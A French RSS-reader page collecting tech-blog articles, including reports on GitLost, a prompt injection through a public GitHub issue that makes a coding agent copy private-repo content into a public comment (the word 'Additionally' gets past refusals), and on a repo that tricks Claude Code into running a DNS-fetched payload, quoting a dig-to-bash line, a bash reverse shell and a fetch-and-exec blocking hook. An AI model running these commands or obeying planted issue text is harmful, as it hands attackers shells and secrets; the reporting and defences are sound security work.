Lateo.net - Flux RSS en pagaille (pour en ajouter : @ moi)

🔒
❌ À propos de FreshRSS
Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierKorben

Freenet-git - Le dépôt Git sans serveur

Par : Korben ✨

Depuis ce printemps, sachez qu'un git clone ordinaire peut maintenant récupérer un dépôt qui n'existe sur aucun serveur spécifique. En fait, le code est stocké dans Freenet, le réseau pair-à-pair qu'Ian Clarke a relancé en mars. Et comme y'a plus d'hébergeur, bah y'a plus personne pour fermer un compte ou shooter le dépôt.

Car Git est décentralisé depuis toujours et fonctionne très bien comme ça, puisque chaque clone contient l'historique complet, ce qui permet à 2 clones de se synchroniser directement. Ce qui lui manquait par contre, c'était l'hébergement, et c'est là-dessus que les forges que nous connaissons, Github en tête, sont venues capitaliser. Y'a bien des initiatives comme Grasp qui essaie d'en sortir grâce au protocole Nostr mais freenet-git lui range carrément le dépôt dans un contrat que les nœuds recopient, et se publie lui-même à l'adresse freenet::99TmCayXn6Tm/freenet-git.

Cloner ou publier du code exige donc le paquet freenet-git et un nœud qui tourne sur votre machine, ce qui fait qu'on ne supprime pas vraiment le serveur, mais on le ramène juste chez soi.

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Le socle compte plus que l'application dans cette présentation. Les contrats et les delegates forment la couche où une app tourne sans backend, et quatre tournent déjà dessus : River pour le chat de groupe, Delta pour les sites, Atlas pour la recherche, et freenet-git pour le code. Mail, Raven et Harvest existent aussi, à un stade plus jeune.

L'adresse du dépôt sort des 12 premiers caractères de la clé publique de son propriétaire, et à ce stade expérimental, lui seul peut pousser dedans. Y'a pas non plus de pull requests, ni d'issues puisque c'est le modèle du noyau Linux d'avant les forges, où chacun publie son clone et le mainteneur vient y piocher ce qui l'intéresse.

Reste le plus dur maintenant, retrouver un dépôt.

Car sans annuaire, un nœud doit deviner lequel de ses voisins mettra le moins de temps à trouver ce qu'on lui demande. Le réseau traite ça comme un problème d'apprentissage et parie sur le bon voisin à partir des requêtes passées grâce à Renegade, une bibliothèque open source sortie en 2021, capable de faire ce calcul.

Installer freenet-git

Il faut une chaîne Rust, et ~/.cargo/bin doit être dans votre PATH. Les installeurs du nœud sont sur freenet.org/quickstart.

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Rust n'entre dans le PATH qu'au shell suivant, donc ouvrez un nouveau terminal avant la commande d'après. Elle dépose deux binaires, freenet-git et le remote helper que Git appellera tout seul.

cargo install freenet-git

Cloner un dépôt qui existe déjà

Aucune identité n'est nécessaire pour lire. La bibliothèque standard de Freenet fait un bon test, elle porte son historique complet et ses tags.

git clone freenet::96rknpy1GYhZ/freenet-stdlib

Publier le vôtre

C'est create qui publie réellement le contrat. Il affiche PUT confirmed by host et l'adresse du dépôt, dont le préfixe se recopie dans le remote. La phrase de passe voyage par une variable d'environnement parce que Git garde la main sur l'entrée standard durant le push.

freenet-git init-identity --name "Votre Nom" --email vous@example.com
cd ~/code/mon-projet
freenet-git create --name mon-projet
# -> URL: freenet:VOTRE_PREFIXE/mon-projet
git remote add freenet freenet::VOTRE_PREFIXE/mon-projet
export FREENET_GIT_PASSPHRASE='votre-phrase-de-passe'
git push freenet main

Et voilà ! Avec ça vous pouvez faire du vrai git décentralisé même si la vraie limite est ailleurs...

En effet, les nœuds gardent en cache ce qu'on leur réclame et évacuent le reste, donc un dépôt que personne ne clone finit au bout d'un moment par ne plus être clonable. Et ça c'est dommage... C'est pourquoi une commande (rescue), le remet en circulation depuis une machine qui a encore les données. Le projet ne présente toutefois pas ça comme un bug, mais comme son modèle de durabilité actuel.

Mais autant le savoir avant d'y déposer votre code.

Source

Coder avec l'IA sans pomper le projet d'un autre ?

Par : Korben ✨

Dark Hours est à l'origine une petite web app qui vous dit ce qu'il y a à voir dans le ciel ce soir et si ça vaut le coup de mettre le museau dehors. Le développeur Terry Godier l'a construite avec l'aide de Claude et lancée début août mais au moment où j'écris ces lignes, elle n'existe plus... En effet, son site darkhours.io redirige maintenant vers DarkHours.app , un autre projet signé Miguel Beher et sous licence MIT.

C'est ce dernier qui a vu le problème, et je vais vous expliquer...

En fait, les 2 apps avaient non seulement le même nom, mais également les mêmes fonctions, et le même nom de domaine (à part le TLD). Quand Beher a signalé le souci à Godier , ce dernier a d'abord proposé de changer de nom et de différencier les fonctionnalités mais une heure plus tard il retirait tout, annulait l'app iOS qu'il préparait, et publiait un mea culpa où il parle de son "usage irresponsable de l'IA".

Et ce qui l'a décidé à tout stopper comme ça, c'est juste un bug. En effet, son application envoyait les gens observer les étoiles au milieu de champs perdus au Mexique, ou dans l'océan Pacifique et Beher avait exactement le même souci de son côté à ce moment-là (il l'a résolu depuis).

Alors se ressembler sur des fonctionnalités, ça arrive et ça ne me choque pas mais se ressembler jusque dans les bugs, là ça pique un peu beaucoup. Les procès en pompage IA, j'en ai déjà parlé , et ils se trompent souvent de coupable, et dans le cas de Godier, celui-ci n'a pas pompé le code du Dark Hours original. Non, il a juste développé son app avec Claude Code, sans se poser trop de question.

Pour lui, il est juste parti d'un code d'éphémérides qu'il a écrit en janvier mais comme Dark Hours est un projet open source, et bien ce qui s'est passé, c'est que son agent IA a récupéré de gros bouts de cette app, jusqu'à son nom pour en faire sa nouvelle app. Hé oui, la vie c'est facile quand on se repose sur le code des autres.

Dark Hours, le vrai

En effet, Claude Code, Codex et les autres sont des outils connectés. Ils lisent des pages, clonent des dépôts, fouillent GitHub quand ça les arrange, du coup, si votre demande ressemble à un truc qui existe déjà, et bien l'agent peut aller le consulter et s'en servir de modèle. Et même sans aller sur le net, comme les modèles ont été entraînés sur tout ce qui traîne publiquement sur le net, dépôts de code compris, il est capable de restituer une structure vue mille fois, sans même aller la chercher sur le net. Un peu comme les modèles de diffusion d'images qui reproduisent le style des artistes.

C'est pour ça que je trouve la mésaventure de Godier et Beher intéressante. Ça nous enseigne qu'il faut faire extrêmement attention quand on code avec l'IA. Pour limiter les risques qu'elle aille se servir dans du code libre, il faut donc indiquer expressément à l'agent de NE PAS récupérer le code source de projets open source, ne pas l'analyser, ne pas pomper du code ni les interfaces. Bref, lui dire qu'on part d'une page blanche...

C'est le même principe que celui de la clean room qui a permis à Compaq de cloner légalement le BIOS d'IBM, comme on peut le voir dans la série Halt and Catch Fire... On implémente les bonnes idées, mais jamais les lignes de code.

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Pour ma part, je fais quasiment que des outils internes et des bidules perso, mais je le précise quand même pour que tout soit clean. Toutefois, ça ne règle pas le problème de l'entraînement qui a été fait en amont pour forger le modèle IA.

Donc avant de coder, deux réflexes à avoir : 1/ Chercher le nom de votre app (ou de votre nouvelle entreprise) pour de vrai, ce qui vous évitera de vous lancer dans un move de contrefaçon sans le savoir. Et 2/ Installer tout ce qui existe dans le même genre pour être sûr de ne pas vous faire berner par l'IA... Sachez que rien que cette année, j'ai été victime moi-même 2 fois, de gens qui n'ont pas pris ces précautions et qui se sont attribués les noms de mes projets pour leurs propres trucs en se reposant, je le suppose, uniquement sur l'IA sans se poser la moindre question. Pour l'un des projets, VoxDrop, j'ai changé le nom en Kassis pour pas me prendre le chou car c'était un projet jeune. Mais pour l'autre problème, c'est plus épineux et je ne peux pas vous en parler encore mais rassurez-vous, dès que je le pourrais, vous ferai un article qui détaillera tout en détail pour vous raconter cette histoire hallucinante qui m'arrive.

Après, ce que je vous conseille de faire aussi c'est qu'une fois que votre projet est fini, pensez à lancer une phase de contrôle. Ça personne ne le fait, mais c'est pas mal de récupérer le code des projets qui vous ont inspiré ou projet concurrents, de le poser à côté du vôtre et faire vous-même ou demander à un agent IA une comparaison, un peu comme la passe sécurité que vous faites en fin de projet.

Reprendre une fonctionnalité qu'on trouve bien ailleurs et la réimplémenter dans son projet, c'est normal et c'est ce que tout le monde fait d'ailleurs. Mais reprendre le nom, le look de l'interface et le code, qui plus est, sans mentionner la licence, c'est vraiment moche. Et c'est exactement ce que peut faire votre agent IA dans votre dos, alors soyez vigilant parce qu'après, vous pourrez dire que vous ne le saviez pas, tout le monde vous traitera de voleur. La frontière est là, et il n'y a qu'une comparaison explicite du code et de l'interface qui vous dira de quel côté vous êtes tombé...

Source

54 des 55 failles de sécurité déposées par ce compte GitHub n'existaient pas

JFrog, une société spécialisée dans la sécurité de la chaîne logicielle, a passé au crible les 55 vulnérabilités déposées par un seul compte GitHub. Cinquante-quatre étaient entièrement fabriquées, une seule décrivait un vrai bug.

Six d'entre elles visaient SQLite, la petite base de données embarquée qu'on retrouve dans à peu près tous les téléphones et navigateurs de la planète, avec des scores de gravité affichés jusqu'à 9,8 sur 10. Les quarante-neuf autres s'en prenaient à libraw, une bibliothèque de traitement d'images, et à un module audio pour cartes ESP32.

Les rapports ne résistent pas à une vérification. L'un s'appuie sur une fonction qui n'existe pas dans la version de SQLite qu'il prétend attaquer. Un autre cite les lignes 3555 et 3575 d'un fichier qui n'en compte que 2706.

Ces failles n'ont été bloquées à aucune étape. Elles ont atterri dans le NVD, la base de référence américaine des vulnérabilités, avec un enrichissement fourni par la CISA, l'agence fédérale de cybersécurité, qui a validé les scores critiques au passage. Red Hat a dû redescendre l'une d'elles de 10 sur 10 à 7,6.

Le formulaire public par lequel on déclare une faille ne vérifie pas sérieusement l'identité du déclarant. Aucune étape du processus n'exige de preuve de concept ni la moindre reproduction du bug. Un texte plausible suffit.

Le reste est automatique. La fiche descend dans les bases dérivées, puis dans les scanners que les entreprises font tourner sur leur propre code, et une équipe finit par chercher un correctif à un problème qui n'a jamais existé. MITRE, l'organisme qui attribue ces identifiants, a rejeté le lot le 1er août.

Le NIST, chargé d'analyser ces fiches, avait déjà plus de 27 000 vulnérabilités en attente fin 2025, et un rapport officiel de mai dernier lui reprochait un manque de planification et de décision.

Les mainteneurs de logiciels libres décrochent. Le projet curl a fermé son programme de primes début 2026, après sept ans, son taux de rapports confirmés étant passé de 15 % à moins de 5 % sous le déluge de textes générés par IA.

Daniel Stenberg, qui le maintient, a ensuite fermé le guichet aux signalements du 1er juillet au 3 août. Bref, ce qui faisait tenir le système, c'est que fabriquer un faux rapport crédible demandait du temps à quelqu'un.

Source et visuel : The Register et JFROG

L'Inde coupe internet, puis exige le retrait du code de bitchat

Par : Korben ✨

Le 23 juillet à 23h16 précisément, GitHub reçoit une notice du ministère de l'Intérieur indien avec un compte à rebours de seulement 3 heures. Ce qu'exige cette notice c'est de faire disparaître 3 dépôts de code, et pas n'importe lesquels. Ceux de bitchat , la messagerie Bluetooth de Jack Dorsey qui fonctionne sans le moindre réseau.

Trois jours plus tôt, le 20 juillet, des étudiants du Cockroach Janata Party manifestent à Jantar Mantar, en plein centre de Delhi, et réclament la démission du ministre de l'Éducation.

La police disperse leur marche à la matraque et au gaz lacrymogène, ferme des stations de métro et coupe l'internet mobile autour du site. Alors au bout de 2 jours de coupure, les manifestants basculent sur des applis qui n'en ont pas besoin.

Bitchat, sorti l'été dernier, fait exactement ça. Chaque téléphone discute en Bluetooth Low Energy avec ceux qui sont à sa portée, soit une trentaine de mètres, et relaie les messages de proche en proche. Dans une foule dense, la chaîne de relais pousse alors la portée à 300 mètres et plus.

Aucun compte à créer et aucun numéro de téléphone à fournir. Il n'y a pas non plus de serveur central, et les messages privés passent par du chiffrement Noise Protocol. Puis quand le réseau revient, l'application bascule sur le protocole Nostr pour la portée mondiale.

Le code iOS de Bitchat est dans le domaine public, tout comme la version Android en GPL-3.0. Dorsey avait d'ailleurs ressorti la même boîte à outils il y a quelques jours avec Buzz, son chat d'équipe .

L'application, dit la notice de l'Indian Cybercrime Coordination Centre, "permet la communication même pendant des restrictions réseau" et crée "un risque substantiel d'utilisation abusive par des éléments antinationaux, des organisations terroristes, des groupes criminels organisés". Plus loin, on lui reproche une architecture qui entrave "l'interception légale, l'attribution et l'enquête". En clair, le reproche c'est de continuer à marcher quand l'État a coupé le net.

Côté droit, l'ordre s'appuie sur la Section 79(3)(b) de l'IT Act et la Rule 3(1)(d) des IT Rules, c'est-à-dire les articles en Inde qui protègent les hébergeurs de la responsabilité des contenus publiés par leurs utilisateurs.

Les infractions listées, elles, vont de l'accès non autorisé à un système informatique à la complicité, plus trois articles du nouveau code pénal indien sur le complot criminel et l'atteinte à l'unité nationale. Oui, oui, pour un dépôt de code... Bien sûr, l'Internet Freedom Foundation qualifie la manœuvre d'"inconstitutionnelle et autoritaire" et lui reproche de court-circuiter la procédure de blocage officielle. Certes, la Section 79 conditionne une immunité, mais elle n'ouvre absolument pas un droit de censure, puis surtout, cette notice ne désigne aucun message ni aucun fichier illicite précis mais vise le projet entier. Bref, c'est trop vague !

Et même si les rêves les plus humides du gouvernement indien se réalisaient, retirer un dépôt ne retire pas grand-chose. Si vous avez déjà l'app sur votre téléphone, elle y reste, et un maillage qui ne dépend d'aucun serveur continue de faire circuler les messages quoi qu'il arrive à la page GitHub.

MediaNama écrit que GitHub a obtempéré et retiré les liens de sa plateforme. Comme j'y ai encore accès, je pense que ça ne concerne que l'Inde et que Github a fait ça en mode géoblocage. Mais bon, peu importe, ça + l'effet Streisand, dans les heures qui ont suivi la notice, le code était de toute façon recopié sur d'autres sites. Il est sous licence libre, donc il peut être forké dans tous les sens.

En tout cas, ce n'est pas la première fois que cette messagerie sert de plan B à la population puisqu'au Népal, en septembre 2025, elle a été téléchargée près de 49 000 fois en une seule journée durant les manifestations Gen Z, soit près de 40 % de son adoption mondiale sur ce seul pays. Couper le réseau pour calmer une foule, l'Égypte avait déjà essayé en janvier 2011 , la Syrie quelques mois plus tard et on le sait, ça ne fonctionne pas.

Source

PyPI verrouille vos vieilles releases contre les tokens volés

Par : Korben ✨

Bonne nouvelle pour tous ceux qui balancent du code sur PyPI. L'index officiel des paquets Python refuse désormais tout nouveau fichier ajouté à une release qui a plus de 14 jours. Le correctif vient de Seth Larson, développeur sécurité en résidence à la Python Software Foundation, et il colmate un trou que personne n'avait encore exploité sur PyPI... mais qui traînait là, grand ouvert.

Jusqu'ici, un mainteneur pouvait ajouter un fichier à n'importe quelle release, même sortie il y a 3 ans. Pratique pour livrer une nouvelle wheel, dangereux si un token de publication se fait voler. Un attaquant avec vos clés pouvait glisser un binaire vérolé dans une version stable que tout le monde télécharge depuis des lustres, sans déclencher la moindre alerte. Larson le dit sans détour : si ça n'a pas encore été abusé, c'est juste que les pirates n'avaient pas réalisé que c'était possible.

Le déclencheur, c'est l'affaire LiteLLM et Telnyx, deux paquets populaires compromis en mars dernier via une "référence mutable" dans leur usage de la GitHub Action Trivy. Encore une compromission de la chaîne d'appro, dans la lignée de Shai-Hulud sur npm dont je vous ai déjà parlé avec son scanner dédié , même si le mécanisme n'est pas le même. Le sujet mijotait depuis janvier 2024 dans les discussions autour de PEP 740, sauf qu'il coinçait sur un cas d'usage bien réel. En effet, certains projets ajoutent le support d'une nouvelle version de Python, genre les wheels cp314 pour Python 3.14, à d'anciennes releases longtemps après leur sortie.

Sauf que les chiffres ont tranché. En interrogeant la base PyPI sur les 15 000 paquets les plus populaires, seuls 56 avaient publié une wheel compatible 3.14 plus de 14 jours après une release. 56 sur 15 000, autant dire une poignée. Mike Fiedler, l'ingénieur sécurité de PyPI, a donc porté le débat au Packaging Summit de la PyCon US 2026, et le consensus est tombé. Il est maintenant demandé à ces projets de bumper vers une nouvelle version.

Après ne prenez pas cette nouvelle mesure de sécurité comme une garantie. Il n'existe aucune API pour vérifier qu'une release est "fermée", et les vraies règles du jeu ne seront gravées dans le marbre qu'avec l'API Upload 2.0 et les Staged Previews prévus par PEP 694. Donc pour l'instant, c'est un verrou qui protège, mais pas un vrai contrat de confiance sur lequel bâtir (De quoi Darty ??).

N'empêche que le bénéfice est immédiat car ça fait moins de ménage pour les admins PyPI quand un projet se fait trouer, et s'en est fini de l'état schizophrène où une release est à moitié compromise, à moitié saine, avec quelques fichiers vérolés planqués au milieu. Une vieille release devient un bloc figé, et voilà !

GitHub avait déjà dégainé la même idée avec ses releases immuables , qui rendent vos versions intouchables même par le mainteneur du projet.

Bref, une porte de moins pour les attaquants supply chain. Sympa non ?

Source (repéré chez Simon Willison)

EVE Online - 30 dépôts MIT sur GitHub, dont un qui ne compile pas

Par : Korben ✨

8 825 joueurs qui se canardent au même endroit, sur un seul serveur, pendant 14 heures. C'était en 2020 dans le système FWST-8 d'EVE Online, et le moteur qui a encaissé ça s'appelle Carbon. Et si je vous cause de ça c'est parce que Fenris Creations (le studio du jeu, ex-CCP Games) vient de le poser sur GitHub , en licence MIT, gratuit !

Au fil des mois, ils ont ainsi mis en ligne 33 dépôts à cloner, dont 30 sous licence MIT. Vous y trouvez Trinity, le moteur de rendu, Destiny , qui simule la physique et calcule les trajectoires de vos vaisseaux, et même une bibliothèque C++ dédiée au calcul d'itinéraire sur la carte du jeu. Du code qui tourne en production depuis 20 ans.

Et ça se monte tout seul puisque le README de Trinity dit simplement ceci : "*Compilez en utilisant le fichier CMakeLists.txt fourni à la racine du dépôt. *".

Un moteur de rendu avec 20 ans de production dans les pattes et pas une seule dépendance planquée, c'est fou.

Par contre, Destiny, lui, c'est le meuble en kit livré sans le sachet de vis. Son README prévient : "Pour compiler la bibliothèque, vous devez avoir accès à Perforce, car c'est là que se trouvent certaines de nos dépendances."

Pour vous la faire courte, chez vous, ça ne compilera pas, donc.

Car le 8 juillet, un développeur a ouvert l'issue #5 pour demander gentiment la liste des dépendances liées à Perforce et jusqu'à aujourd'hui, c'est resté sans réponse. Donc non, vous ne monterez pas votre serveur EVE privé ce week-end car l'économie du jeu et l'infrastructure serveur ne sont pas dans les cartons.

Alors pourquoi maintenant ??? Eh bien en mai, le studio a repris son indépendance en se rachetant 120 millions de dollars à Pearl Abyss, et il prépare EVE Frontier, un MMO de survie spatiale qu'il annonce "personnalisable, adapté au joueur". Donc "ouvrir la maison", ça prépare le terrain...

En tout cas, je trouve que ça nous change des jeux qu'on libère une fois morts, comme Arma Cold War Assault, dont Bohemia a ouvert le code pour ses 25 ans . Et vu ce que les moddeurs sortent sans même avoir le code ( un type a collé un mode multijoueur dans le Witcher 3 , j'vous rappelle ^^), avec les sources sous la main ça va être drôle.

Merci Emmanuel pour le lien !

Source

GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub

Par : Korben ✨

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visiblement publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Lors des tests, le modèle refusait quand même parfois d'obéir aux instructions cachées. Mais le chercheur a trouvé une parade qui est d'ajouter le mot "Additionally" dans le prompt. Ce simple connecteur suffit à lui faire reconsidérer son refus et exécuter la commande. Attention, "Additionally" n'est pas une formule magique qui débloque toutes les IA de la Terre, Mais parfois ça suffit à faire sauter les garde-fous. C'est dire à quel point la sécurité de ces modèles est solide...

Si ça vous rappelle quelque chose, c'est normal. On a déjà eu CamoLeak , qui transformait Copilot en espion via un commentaire GitHub, avec une exfiltration bien plus léchée (image markdown, score CVSS de 9,6). Et en fait GitLost, c'est vraiment la version feignasse. En gros, c'est la même famille d'attaque, sauf que cette fois l'attaquant n'a pas à se fatiguer.

On avait aussi vu une bibliothèque Java piéger les IA codeuses pour qu'elles effacent vos tests, donc je pense que vous connaissez la chanson... Méfiez-vous des agents qui écrivent du code sans surveillance parce qu'ils sont devenus une véritable cible pour les cybercriminels.

Voilà, donc non, GitHub n'est pas "troué" et la config vulnérable est très précise puisqu'il faut un agent avec accès en lecture cross-repo ET déclenché par des entrées publiques. Et il y a très peu d'orgas qui tournent exactement comme ça. Noma a bien sûr signalé la faille à GitHub de façon responsable, aucune CVE n'a été attribuée à ce jour, et y'a eu aucune confirmation publique d'un correctif de leur côté pour le moment.

Ne traitez donc jamais le texte d'un utilisateur comme une instruction de confiance, isolez les entrées, collez au strict minimum de permissions. C'est le même délire quand on contrôle les entrées dans un formulaire finalement...

Source

Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Steam Controller - elle rampe toute seule vers son chargeur

Par : Korben ✨

Il y a des problèmes qui n'existent pas, et des gens qui les résolvent quand même... Ray Foss en fait partie. Ce dernier a fait en sorte que sa Steam Controller flambant neuve rampe toute seule jusqu'à son chargeur, sans qu'il ait à lever le petit doigt. Et pour cela, il a codé son Triton Auto-Charge Vision Tracker qui tourne entièrement dans le navigateur et qui est utilisable par tous !

Le principe est bien tordu... Vous collez une webcam au-dessus de votre bureau, vous ouvrez la page, et vous cliquez sur trois points à l'écran : le palet de charge, l'avant de la manette, l'arrière. À partir de là, la vision par ordinateur suit la manette en temps réel pendant que le code pilote ses deux petits moteurs de vibration internes.

Petit rappel si vous aviez hiberné, Valve a ressorti sa Steam Controller en mai dernier, des années après avoir lâché la première. Elle se recharge sur un palet magnétique, et c'est pile poil cette dernière étape que Foss a automatisée. La Steam Controller, c'est aussi la manette dans laquelle Valve a planqué un cri Wilhelm , et visiblement elle attire les bidouilleurs.

En pulsant ces moteurs de façon asymétrique, autour de 70 Hz, la page fait littéralement ramper la manette sur le bureau et la réoriente petit à petit vers le palet. C'est le principe de ces bristlebots faits avec une brosse à dents et un moteur vibreur de téléphone, sauf qu'ici les moteurs étaient prévus pour faire vibrer la manette dans vos jeux, et surement pas pour la balader sur le bureau...

Pas d'install, pas de pilote à régler non plus, c'est la page qui se connecte directement à la manette via WebHID, la même techno qui permet déjà de tester son matos gaming dans le navigateur , à condition d'être sur Chrome ou Edge parce que Firefox et Safari boudent toujours cette API.

L'interface de l'outil, avec les points de repère à placer sur la manette et le palet.

Au passage, elle lit la batterie de la manette et vous affiche le pourcentage et même le voltage de la cellule, histoire de confirmer que le contact magnétique se fait bien.

Foss a aussi prévu un mode approche en douceur qui réduit de moitié la fréquence des vibrations quand la manette arrive tout près du palet, pour qu'elle se pose dedans au lieu de le percuter. Enfin, en théorie, parce qu'il prévient lui-même que l'amarrage n'est pas garanti.

La vraie limite du truc, c'est que le calage des points de repère reste assez pénible à faire.

Ça ne sert strictement à rien, mais c'est marrant. Le projet est en open source sur GitHub si vous voulez tenter le coup chez vous.

Source

Des listes de cybercriminels à télécharger

Si vous faites un peu de renseignements (OSINT) et que ce que vous cherchez, c'est des pseudos de cybercriminels, spmedia a un truc qui devrait vous plaire. Son repo GitHub Threat-Actor-Usernames-Scrape rassemble environ 773 000 pseudos uniques récupérés sur des forums de cybercriminels. C'est gratuit, en accès libre. Et ça peut vous faire gagner pas mal de temps si vous faites de l' OSINT .

Son délire, c'est de scraper les sections "Who's Online", les threads et les réponses de forums comme HackForums, DarkForums, BreachForums, XSS.pro, Dread, OGUsers et une vingtaine d'autres, ou de récupérer des extraits de fuites. L'intérêt de ce genre de truc, c'est de capter ces données pour ensuite les réutiliser dans vos propres projets. Ça vous permet par exemple de préparer un fichier texte propre par forum, qui est prêt à être ingéré dans un TIP (Threat Intelligence Platform) ou croisé avec vos données.

Au total, y'a environ 820 000 noms d'utilisateurs dans ce repo, dont ~46 000 en double. Les plus gros forums actifs sont Cracked.sh (~226 000 pseudos collectés), DarkForums.su (~75 000) et Altenen.is (~74 000). Côté forums morts, BreachForums.st domine avec ~57 000 entrées, devant la fuite Nulled (~42 000) et BreachForums.as (~39 000).

Il y a de quoi fouiller, quoi...

Spmedia a monté ce projet parce qu'il en avait marre des boîtes de threat intel qui facturent 5 à 6 chiffres par an pour accéder au même genre de données. On peut donc lui dire merci, même si ça ne remplace pas un vrai service CTI avec contexte et analyse. C'est juste des noms d'utilisateur sans autre enrichissement. Faudra donc croiser ça avec d'autres sources mais pour du pistage de pseudo ou une wordlist ciblée, ça peut aider.

